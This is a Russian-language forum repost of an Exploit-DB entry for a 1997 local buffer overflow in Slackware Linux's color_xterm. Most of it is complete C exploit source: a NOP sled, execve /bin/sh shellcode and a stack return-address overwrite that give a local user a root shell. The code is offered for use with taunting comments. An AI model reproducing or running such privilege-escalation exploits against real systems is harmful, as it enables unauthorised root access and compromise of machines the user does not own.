- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 19285
- Проверка EDB
-
- Пройдено
- Автор
- ZGV
- Тип уязвимости
- LOCAL
- Платформа
- LINUX
- CVE
- null
- Дата публикации
- 1997-05-27
Slackware Linux 3.1/3.2 - 'color_xterm' Local Buffer Overflow (1)
Код:
source: https://www.securityfocus.com/bid/369/info
In Slackware Linux 3.1 and 3.2, the version of color xterm included is vulnerable to a buffer overflow attack that allows for a local user to gain root access.
/* exploit for color_xterm, modified by zgv */
/* original exploit coded by Ming Zhang for the Chinese Version Of xTerm */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define PATH_COLOR_XTERM "/usr/X11/bin/color_xterm" /* Default Path If Make Install Was Used */
#define NOP_SIZE 1
char nop[] = "\x90";
/* Shell Code For That Ass */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
/* Lets d0 d1s */
void main(int argc,char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i,OffSet = DEFAULT_OFFSET;
if (argc>1) OffSet = atoi(argv[1]);
buff = malloc(2048);
if(!buff)
{
printf("err0r err0r err0r err0r you g0t gn0 sk1lls er memory\n");
exit(0);
}
ptr = buff;
for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) {
memcpy (ptr,nop,NOP_SIZE);
ptr+=NOP_SIZE;
}
for(i=0;i < strlen(shellcode);i++)
*(ptr++) = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_sp() + OffSet;
ptr = (char *)addr_ptr;
*ptr = 0;
(void) fprintf(stderr,"bewm bash#\n");
execl(PATH_COLOR_XTERM, "color_xterm_owns_me", "-xrm",buff, NULL);
}
- Источник
- www.exploit-db.com